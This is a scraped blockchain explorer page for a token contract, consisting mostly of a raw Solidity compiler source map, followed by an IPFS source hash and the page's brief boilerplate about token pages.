;6087:42;15304:36;15332:7;;15304:23;15315:11;;15304:6;:10;;:23;;;;:::i;:36::-;15264:9;:77::i;:::-;15360:21;:6;15371:9;15360:10;:21::i;:::-;15353:28;;;;;14965:418;-1:-1:-1;15391:6:0;14859:546;-1:-1:-1;;14859:546:0:o;146:82::-;204:7;221:5;225:1;221;:5;:::i;13757:400::-;13898:15;;13974:13;;13964:4;13855;7585:18;;;:9;:18;;;;;;14006:8;;13855:4;;13888:25;;;;-1:-1:-1;13946:41:0;;14006:8;;14005:9;:24;;;;-1:-1:-1;14018:11:0;;;;14005:24;:42;;;;-1:-1:-1;14033:14:0;;-1:-1:-1;;;14033:14:0;;;;14005:42;:54;;;;;14051:8;14005:54;:78;;;;-1:-1:-1;;;;;;14064:19:0;;;;;;:11;:19;;;;;;;;14063:20;14005:78;:99;;;;-1:-1:-1;14100:4:0;;-1:-1:-1;;;;;14087:17:0;;;14100:4;;14087:17;14005:99;:126;;;;-1:-1:-1;14108:23:0;14005:126;:144;;;;;14135:14;14005:144;13998:151;13757:400;-1:-1:-1;;;;;;13757:400:0:o;11890:1066::-;6008:8;:15;;-1:-1:-1;;6008:15:0;6019:4;6008:15;;;;;;12027:14:::1;::::0;12009:12:::1;::::0;11985::::1;::::0;6008:8;;11984:66:::1;::::0;12048:1:::1;::::0;11985:57:::1;::::0;12027:14;;11985:37:::1;::::0;;;:16:::1;:19::i;:::-;:23:::0;::::1;:37::i;11984:66::-;11961:89;;12061:32;12096:42;12125:12;12096:24;12107:12;;12096:6;:10;;:24;;;;:::i;:42::-;12061:77:::0;-1:-1:-1;12149:14:0::1;12166:36;:6:::0;12061:77;12166:10:::1;:36::i;:::-;12149:53:::0;-1:-1:-1;12238:21:0::1;12270:24;12149:53:::0;12270:16:::1;:24::i;:::-;12305:20;12328:41;:21;12354:14:::0;12328:25:::1;:41::i;:::-;12305:64;;12380:19;12401:48;12418:30;12435:12;;12418;:16;;:30;;;;:::i;:::-;12401:12:::0;;:16:::1;:48::i;:::-;12380:69;;12460:29;12492;12508:12;;12492:11;:15;;:29;;;;:::i;:::-;12460:61:::0;-1:-1:-1;12535:34:0;;12532:103:::1;;12571:61;12584:24;12610:21;12571:12;:61::i;:::-;12691:12;::::0;12645:20:::1;::::0;12668:36:::1;::::0;:18:::1;:11:::0;12684:1:::1;12668:15;:18::i;:36::-;12645:59:::0;-1:-1:-1;12718:16:0;;12715:73:::1;;12736:50;::::0;6282:42:::1;::::0;12736:50;::::1;;;::::0;12773:12;;12736:50:::1;::::0;;;12773:12;6282:42;12736:50;::::1;;;;;;;;;;;;;::::0;::::1;;;;;;12715:73;12825:21;12860:29:::0;;12857:92:::1;;12891:56;::::0;6185:42:::1;::::0;12891:56;::::1;;;::::0;12930:16;;12891:56:::1;::::0;;;12930:16;6185:42;12891:56;::::1;;;;;;;;;;;;;::::0;::::1;;;;;;12857:92;-1:-1:-1::0;;6028:8:0;:16;;-1:-1:-1;;6028:16:0;;;-1:-1:-1;;;;;;;;11890:1066:0:o;14538:311::-;-1:-1:-1;;;;;14640:13:0;;14617:7;14640:13;;;:5;:13;;;;;;;;;:33;;-1:-1:-1;;;;;;14657:16:0;;;;;;:5;:16;;;;;;;;14640:33;14637:76;;;14682:11;;:29;;14706:3;14682:15;:29::i;:::-;14675:36;;;;14637:76;14739:4;;-1:-1:-1;;;;;14739:4:0;;;14726:17;;;;14723:44;;-1:-1:-1;14752:13:0;;14745:20;;14723:44;14790:4;;-1:-1:-1;;;;;14790:4:0;;;14780:14;;;;14777:36;;-1:-1:-1;14803:8:0;;14796:15;;14777:36;-1:-1:-1;14830:11:0;;14538:311;;;;:::o;13315:434::-;13405:16;;;13419:1;13405:16;;;;;;;;13381:21;;13405:16;;;;;;;;;;-1:-1:-1;13405:16:0;13381:40;;13450:4;13432;13437:1;13432:7;;;;;;;;:::i;:::-;-1:-1:-1;;;;;13432:23:0;;;:7;;;;;;;;;;:23;;;;13476:6;;:13;;;-1:-1:-1;;;13476:13:0;;;;:6;;;;;:11;;:13;;;;;13432:7;;13476:13;;;;;:6;:13;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;:::i;:::-;13466:4;13471:1;13466:7;;;;;;;;:::i;:::-;-1:-1:-1;;;;;13466:23:0;;;:7;;;;;;;;;:23;13532:6;;13500:53;;13517:4;;13532:6;13541:11;13500:8;:53::i;:::-;13564:6;;:177;;-1:-1:-1;;;13564:177:0;;-1:-1:-1;;;;;13564:6:0;;;;:57;;:177;;13636:11;;13564:6;;13678:4;;13705;;13725:15;;13564:177;;;:::i;:::-;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;13370:379;13315:434;:::o;12964:343::-;13077:6;;13045:53;;13062:4;;-1:-1:-1;;;;;13077:6:0;13086:11;13045:8;:53::i;:::-;13109:6;;:190;;-1:-1:-1;;;13109:190:0;;13172:4;13109:190;;;14332:34:1;14382:18;;;14375:34;;;13109:6:0;14425:18:1;;;14418:34;;;14468:18;;;14461:34;6378:42:0;14511:19:1;;;14504:44;13283:15:0;14564:19:1;;;14557:35;-1:-1:-1;;;;;13109:6:0;;;;:22;;13139:9;;14266:19:1;;13109:190:0;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;:::i;14:592:1:-;127:6;135;143;151;159;167;175;228:3;216:9;207:7;203:23;199:33;196:53;;;245:1;242;235:12;196:53;-1:-1:-1;;268:23:1;;;338:2;323:18;;310:32;;-1:-1:-1;389:2:1;374:18;;361:32;;440:2;425:18;;412:32;;-1:-1:-1;491:3:1;476:19;;463:33;;-1:-1:-1;543:3:1;528:19;;515:33;;-1:-1:-1;595:3:1;580:19;567:33;;-1:-1:-1;14:592:1;-1:-1:-1;14:592:1:o;611:548::-;723:4;752:2;781;770:9;763:21;813:6;807:13;856:6;851:2;840:9;836:18;829:34;881:1;891:140;905:6;902:1;899:13;891:140;;;1000:14;;;996:23;;990:30;966:17;;;985:2;962:26;955:66;920:10;;891:140;;;895:3;1080:1;1075:2;1066:6;1055:9;1051:22;1047:31;1040:42;1150:2;1143;1139:7;1134:2;1126:6;1122:15;1118:29;1107:9;1103:45;1099:54;1091:62;;;;611:548;;;;:::o;1164:131::-;-1:-1:-1;;;;;1239:31:1;;1229:42;;1219:70;;1285:1;1282;1275:12;1219:70;1164:131;:::o;1300:315::-;1368:6;1376;1429:2;1417:9;1408:7;1404:23;1400:32;1397:52;;;1445:1;1442;1435:12;1397:52;1484:9;1471:23;1503:31;1528:5;1503:31;:::i;:::-;1553:5;1605:2;1590:18;;;;1577:32;;-1:-1:-1;;;1300:315:1:o;1944:344::-;2011:2;2005:9;2053:3;2041:16;;2087:18;2072:34;;2108:22;;;2069:62;2066:185;;;2173:10;2168:3;2164:20;2161:1;2154:31;2208:4;2205:1;2198:15;2236:4;2233:1;2226:15;2066:185;2267:2;2260:22;1944:344;:::o;2293:349::-;2365:2;2359:9;2407:3;2395:16;;2441:18;2426:34;;2462:22;;;2423:62;2420:185;;;2527:10;2522:3;2518:20;2515:1;2508:31;2562:4;2559:1;2552:15;2590:4;2587:1;2580:15;2647:1940;2775:6;2806:4;2851:2;2839:9;2830:7;2826:23;2822:32;2819:52;;;2867:1;2864;2857:12;2819:52;2890:4;2937:7;2932:2;2921:9;2917:18;2913:32;2903:60;;2959:1;2956;2949:12;2903:60;2983:17;;:::i;:::-;3048:18;;;;3022:3;3078:19;;;3075:39;;;3110:1;3107;3100:12;3075:39;3134:9;3152:1405;3168:6;3163:3;3160:15;3152:1405;;;3254:7;3249:2;3244:3;3240:12;3236:26;3226:124;;3304:1;3333:2;3329;3322:14;3226:124;3376:22;;:::i;:::-;3424:5;3467:6;3462:3;3458:16;3503:7;3493:8;3490:21;3487:111;;;3552:1;3581:2;3577;3570:14;3487:111;3624:3;3640:842;3658:8;3651:5;3648:19;3640:842;;;3757:7;3752:2;3745:5;3741:14;3737:28;3727:142;;3815:1;3848:2;3844;3837:14;3727:142;3899:17;;:::i;:::-;3946:5;3995:3;3988:5;3984:15;4032:7;4022:8;4019:21;4016:127;;;4089:1;4122:2;4118;4111:14;4016:127;4173:5;4195:194;4213:8;4206:5;4203:19;4195:194;;;4305:19;;4291:34;;4366:4;4355:16;;;;4234;4195:194;;;-1:-1:-1;;4406:20:1;;-1:-1:-1;4463:4:1;4452:16;;;;3690:3;3679:15;3640:842;;;-1:-1:-1;;4495:18:1;;-1:-1:-1;4542:4:1;4533:14;;;;3194:6;3185:16;3152:1405;;;-1:-1:-1;4576:5:1;2647:1940;-1:-1:-1;;;;;;2647:1940:1:o;4774:456::-;4851:6;4859;4867;4920:2;4908:9;4899:7;4895:23;4891:32;4888:52;;;4936:1;4933;4926:12;4888:52;4975:9;4962:23;4994:31;5019:5;4994:31;:::i;:::-;5044:5;-1:-1:-1;5101:2:1;5086:18;;5073:32;5114:33;5073:32;5114:33;:::i;:::-;4774:456;;5166:7;;-1:-1:-1;;;5220:2:1;5205:18;;;;5192:32;;4774:456::o;5235:247::-;5294:6;5347:2;5335:9;5326:7;5322:23;5318:32;5315:52;;;5363:1;5360;5353:12;5315:52;5402:9;5389:23;5421:31;5446:5;5421:31;:::i;5676:416::-;5741:6;5749;5802:2;5790:9;5781:7;5777:23;5773:32;5770:52;;;5818:1;5815;5808:12;5770:52;5857:9;5844:23;5876:31;5901:5;5876:31;:::i;:::-;5926:5;-1:-1:-1;5983:2:1;5968:18;;5955:32;6025:15;;6018:23;6006:36;;5996:64;;6056:1;6053;6046:12;5996:64;6079:7;6069:17;;;5676:416;;;;;:::o;6097:248::-;6165:6;6173;6226:2;6214:9;6205:7;6201:23;6197:32;6194:52;;;6242:1;6239;6232:12;6194:52;-1:-1:-1;;6265:23:1;;;6335:2;6320:18;;;6307:32;;-1:-1:-1;6097:248:1:o;6558:388::-;6626:6;6634;6687:2;6675:9;6666:7;6662:23;6658:32;6655:52;;;6703:1;6700;6693:12;6655:52;6742:9;6729:23;6761:31;6786:5;6761:31;:::i;:::-;6811:5;-1:-1:-1;6868:2:1;6853:18;;6840:32;6881:33;6840:32;6881:33;:::i;7211:329::-;7413:2;7395:21;;;7452:1;7432:18;;;7425:29;-1:-1:-1;;;7485:2:1;7470:18;;7463:36;7531:2;7516:18;;7211:329::o;7964:127::-;8025:10;8020:3;8016:20;8013:1;8006:31;8056:4;8053:1;8046:15;8080:4;8077:1;8070:15;8096:127;8157:10;8152:3;8148:20;8145:1;8138:31;8188:4;8185:1;8178:15;8212:4;8209:1;8202:15;8228:148;8316:4;8295:12;;;8309;;;8291:31;;8334:13;;8331:39;;;8350:18;;:::i;8381:125::-;8446:9;;;8467:10;;;8464:36;;;8480:18;;:::i;8511:168::-;8551:7;8617:1;8613;8609:6;8605:14;8602:1;8599:21;8594:1;8587:9;8580:17;8576:45;8573:71;;;8624:18;;:::i;:::-;-1:-1:-1;8664:9:1;;8511:168::o;8684:217::-;8724:1;8750;8740:132;;8794:10;8789:3;8785:20;8782:1;8775:31;8829:4;8826:1;8819:15;8857:4;8854:1;8847:15;8740:132;-1:-1:-1;8886:9:1;;8684:217::o;10290:128::-;10357:9;;;10378:11;;;10375:37;;;10392:18;;:::i;12750:251::-;12820:6;12873:2;12861:9;12852:7;12848:23;12844:32;12841:52;;;12889:1;12886;12879:12;12841:52;12921:9;12915:16;12940:31;12965:5;12940:31;:::i;13006:980::-;13268:4;13316:3;13305:9;13301:19;13347:6;13336:9;13329:25;13373:2;13411:6;13406:2;13395:9;13391:18;13384:34;13454:3;13449:2;13438:9;13434:18;13427:31;13478:6;13513;13507:13;13544:6;13536;13529:22;13582:3;13571:9;13567:19;13560:26;;13621:2;13613:6;13609:15;13595:29;;13642:1;13652:195;13666:6;13663:1;13660:13;13652:195;;;13731:13;;-1:-1:-1;;;;;13727:39:1;13715:52;;13822:15;;;;13787:12;;;;13763:1;13681:9;13652:195;;;-1:-1:-1;;;;;;;13903:32:1;;;;13898:2;13883:18;;13876:60;-1:-1:-1;;;13967:3:1;13952:19;13945:35;13864:3;13006:980;-1:-1:-1;;;13006:980:1:o;14603:306::-;14691:6;14699;14707;14760:2;14748:9;14739:7;14735:23;14731:32;14728:52;;;14776:1;14773;14766:12;14728:52;14805:9;14799:16;14789:26;;14855:2;14844:9;14840:18;14834:25;14824:35;;14899:2;14888:9;14884:18;14878:25;14868:35;;14603:306;;;;;:::o

Swarm Source

ipfs://80df88fe9af225e46043485f02f2857fadbf7e34fcd945a0c0ef98d3f04c0efa
Loading...
Loading
Loading...
Loading
[ Download: CSV Export  ]
[ Download: CSV Export  ]

A token is a representation of an on-chain or off-chain asset. The token page shows information such as price, total supply, holders, transfers and social links. Learn more about this page in our Knowledge Base.